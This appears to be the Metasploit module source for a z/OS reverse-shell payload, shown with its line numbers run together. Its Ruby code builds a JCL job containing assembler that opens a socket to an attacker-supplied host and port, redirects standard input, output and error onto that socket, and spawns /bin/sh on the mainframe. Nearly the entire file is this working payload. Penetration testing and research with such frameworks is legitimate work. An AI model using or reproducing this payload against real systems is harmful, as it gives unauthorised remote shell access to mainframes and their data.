Path: blob/master/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3# This payload has no ebcdic<->ascii translator built in.4# Therefore it must use a shell which does, like mainframe_shell5#6# this payload will spawn a reverse shell from z/os, when submitted7# on the system as JCL to JES28##910module MetasploitModule11CachedSize = 899312include Msf::Payload::Single13include Msf::Payload::Mainframe14include Msf::Sessions::CommandShellOptions1516def initialize(info = {})17super(18merge_info(19info,20'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',21'Description' => %q{22Provide JCL which creates a reverse shell23This implementation does not include ebcdic character translation,24so a client with translation capabilities is required. MSF handles25this automatically.26},27'Author' => 'Bigendian Smalls',28'License' => MSF_LICENSE,29'Platform' => 'mainframe',30'Arch' => ARCH_CMD,31'Handler' => Msf::Handler::ReverseTcp,32'Session' => Msf::Sessions::MainframeShell,33'PayloadType' => 'cmd',34'RequiredCmd' => 'jcl',35'Payload' => {36'Offsets' => {},37'Payload' => ''38}39)40)41register_options(42[43# need these defaulted so we can manipulate them in command_string44Opt::LHOST('0.0.0.0'),45Opt::LPORT(4444),46OptString.new('ACTNUM', [true, 'Accounting info for JCL JOB card', 'MSFUSER-ACCTING-INFO']),47OptString.new('PGMNAME', [true, 'Programmer name for JCL JOB card', 'programmer name']),48OptString.new('JCLASS', [true, 'Job Class for JCL JOB card', 'A']),49OptString.new('NOTIFY', [false, 'Notify User for JCL JOB card', '']),50OptString.new('MSGCLASS', [true, 'Message Class for JCL JOB card', 'Z']),51OptString.new('MSGLEVEL', [true, 'Message Level for JCL JOB card', '(0,0)'])52], self.class53)54register_advanced_options(55[56OptBool.new('NTFYUSR', [true, 'Include NOTIFY Parm?', false]),57OptString.new('JOBNAME', [true, 'Job name for JCL JOB card', 'DUMMY'])58],59self.class60)61end6263##64# Construct Payload65##66def generate(_opts = {})67super + command_string68end6970##71# Setup replacement vars and populate payload72##73def command_string74if (datastore['JOBNAME'] == 'DUMMY') && !datastore['FTPUSER'].nil?75datastore['JOBNAME'] = (datastore['FTPUSER'] + '1').strip.upcase76end77lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])78lhost = lhost.unpack('H*')[0]79lport = datastore['LPORT']80lport = lport.to_s.to_i.to_s(16).rjust(4, '0')8182jcl_jobcard +83"//**************************************/\n" \84"//* SPAWN REVERSE SHELL FOR MSF MODULE*/\n" \85"//**************************************/\n" \86"//*\n" \87"//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \88"//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \89"//C.SYSIN DD *,DLM=ZZ\n" \90" TITLE 'Spanws Reverse Shell'\n" \91"SPAWNREV CSECT\n" \92"SPAWNREV AMODE 31\n" \93"SPAWNREV RMODE ANY\n" \94"***********************************************************************\n" \95"* @SETUP registers and save areas *\n" \96"***********************************************************************\n" \97" USING *,15\n" \98"@SETUP0 B @SETUP1\n" \99" DROP 15\n" \100" DS 0H # half word boundary\n" \101"@SETUP1 STM 14,12,12(13) # save our registers\n" \102" LR 2,13 # callers sa\n" \103" LR 8,15 # pgm base in R8\n" \104" USING @SETUP0,8 # R8 for base addressability\n" \105"*************************************\n" \106"* set up data area / addressability *\n" \107"*************************************\n" \108" L 0,@DYNSIZE # len of variable area\n" \109" GETMAIN RU,LV=(0) # get data stg, len R0\n" \110" LR 13,1 # data address\n" \111" USING @DATA,13 # addressability for data area\n" \112" ST 2,@BACK # store callers sa address\n" \113" ST 13,8(,2) # store our data addr\n" \114" DS 0H # halfword boundaries\n" \115"\n" \116"***********************************************************************\n" \117"* BPX1SOC set up socket - inline *\n" \118"***********************************************************************\n" \119" CALL BPX1SOC, X\n" \120" (DOM,TYPE,PROTO,DIM,CLIFD, X\n" \121" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \122"\n" \123"*******************************\n" \124"* chk return code, 0 or exit *\n" \125"*******************************\n" \126" LHI 15,2\n" \127" L 7,RTN_VAL\n" \128" CIB 7,0,7,EXITP # R7 not 0? Time to exit\n" \129"\n" \130"***********************************************************************\n" \131"* BPX1CON (connect) connect to remote host - inline *\n" \132"***********************************************************************\n" \133" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \134" MVI SOCK_FAMILY,AF_INET # family inet\n" \135" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \136" MVC SOCK_SIN_PORT,CONNSOCK # port to connect to\n" \137" MVC SOCK_SIN_ADDR,CONNADDR # address to connect to\n" \138" CALL BPX1CON, X\n" \139" (CLIFD,SOCKLEN,SOCKADDR, X\n" \140" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \141"*******************************\n" \142"* chk return code, 0 or exit *\n" \143"*******************************\n" \144" LHI 15,3\n" \145" L 7,RTN_VAL\n" \146" CIB 7,0,7,EXITP # R7 not 0? Time to exit\n" \147"\n" \148"*************************************************\n" \149"* order of things to prep child pid *\n" \150"* 0) Dupe all 3 file desc of CLIFD *\n" \151"* 1) dupe parent read fd to std input *\n" \152"*************************************************\n" \153"*******************\n" \154"***** STDIN *****\n" \155"*******************\n" \156" CALL BPX1FCT, X\n" \157" (CLIFD, X\n" \158" =A(F_DUPFD2), X\n" \159" =A(F_STDI), X\n" \160" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \161"****************************************************\n" \162"* chk return code here anything but -1 is ok *\n" \163"****************************************************\n" \164" LHI 15,4 # exit code for this func\n" \165" L 7,RTN_VAL # set r7 to rtn val\n" \166" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \167"\n" \168"*******************\n" \169"***** STDOUT *****\n" \170"*******************\n" \171" CALL BPX1FCT, X\n" \172" (CLIFD, X\n" \173" =A(F_DUPFD2), X\n" \174" =A(F_STDO), X\n" \175" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \176"****************************************************\n" \177"* chk return code here anything but -1 is ok *\n" \178"****************************************************\n" \179" LHI 15,5 # exit code for this func\n" \180" L 7,RTN_VAL # set r7 to rtn val\n" \181" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \182"\n" \183"*******************\n" \184"***** STDERR *****\n" \185"*******************\n" \186" CALL BPX1FCT, X\n" \187" (CLIFD, X\n" \188" =A(F_DUPFD2), X\n" \189" =A(F_STDE), X\n" \190" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \191"****************************************************\n" \192"* chk return code here anything but -1 is ok *\n" \193"****************************************************\n" \194" LHI 15,6 # exit code for this func\n" \195" L 7,RTN_VAL # set r7 to rtn val\n" \196" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \197"\n" \198"***********************************************************************\n" \199"* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \200"***********************************************************************\n" \201" XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \202" XI INHEFLAGS0,INHESETPGROUP\n" \203" SPACE ,\n" \204" MVC INHEEYE,=C'INHE'\n" \205" LH 0,TLEN\n" \206" STH 0,INHELENGTH\n" \207" LH 0,TVER\n" \208" STH 0,INHEVERSION\n" \209" CALL BPX1SPN, X\n" \210" (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \211" EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \212" RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \213" LHI 15,7 # exit code for this func\n" \214" L 7,RTN_VAL # set r7 to rtn val\n" \215" CIB 7,-1,8,EXITP # R7 = -1 exit\n" \216"\n" \217"****************************************************\n" \218"* cleanup & exit preload R15 with exit code *\n" \219"****************************************************\n" \220" XR 15,15 # 4 FOR rc\n" \221"EXITP L 0,@DYNSIZE\n" \222" LR 1,13\n" \223" L 13,@BACK\n" \224" DROP 13\n" \225" FREEMAIN RU,LV=(0),A=(1) # Free storage\n" \226" L 14,12(,13) # load R14\n" \227" LM 0,12,20(13) # load 0-12\n" \228" BSM 0,14 # branch to caller\n" \229"\n" \230"****************************************************\n" \231"* Constants and Variables *\n" \232"****************************************************\n" \233" DS 0F # constants full word boundary\n" \234"F_STDI EQU 0\n" \235"F_STDO EQU 1\n" \236"F_STDE EQU 2\n" \237"*************************\n" \238"* Socket conn variables * # functions used by pgm\n" \239"*************************\n" \240"CONNSOCK DC XL2'#{lport}' # LPORT\n" \241"CONNADDR DC XL4'#{lhost}' # LHOST\n" \242"DOM DC A(AF_INET) # AF_INET = 2\n" \243"TYPE DC A(SOCK#_STREAM) # stream = 1\n" \244"PROTO DC A(IPPROTO_IP) # ip = 0\n" \245"DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \246"SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \247"************************\n" \248"* BPX1SPN vars *********\n" \249"************************\n" \250"EXCMD DC CL7'/bin/sh' # command to exec\n" \251"EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \252"EXARGC DC F'1' # num of arguments\n" \253"EXARG1 DC CL2'sh' # arg 1 to exec\n" \254"EXARG1L DC A(L'EXARG1) # len of arg1\n" \255"EXARGL DC A(EXARG1) # addr of argument list\n" \256"EXARGLL DC A(EXARG1L) # addr of arg len list\n" \257"EXENVC DC F'0' # env var count\n" \258"EXENVL DC F'0' # env var arg list addr\n" \259"EXENVLL DC F'0' # env var arg len addr\n" \260"FDCNT DC F'0' # field count s/b 0\n" \261"FDLST DC F'0' # field list addr s/b 0\n" \262"TVER DC AL2(INHE#VER)\n" \263"TLEN DC AL2(INHE#LENGTH)\n" \264" SPACE ,\n" \265"@DYNSIZE DC A(@ENDYN-@DATA)\n" \266"***************************\n" \267"***** end of constants ****\n" \268"***************************\n" \269"@DATA DSECT ,\n" \270" DS 0D\n" \271"PLIST DS 16A\n" \272"RTN_VAL DS F # return value\n" \273"RTN_COD DS F # return code\n" \274"RSN_COD DS F # reason code\n" \275"CLIFD DS F # client fd\n" \276"@BACK DS A\n" \277"*\n" \278" BPXYSOCK LIST=NO,DSECT=NO\n" \279" BPXYFCTL LIST=NO,DSECT=NO\n" \280" BPXYINHE LIST=NO,DSECT=NO\n" \281"@ENDYN EQU *\n" \282"@DATA#LEN EQU *-@DATA\n" \283" BPXYCONS LIST=NO\n" \284" END SPAWNREV\n" \285"ZZ\n" \286"//*\n"287end288end289290291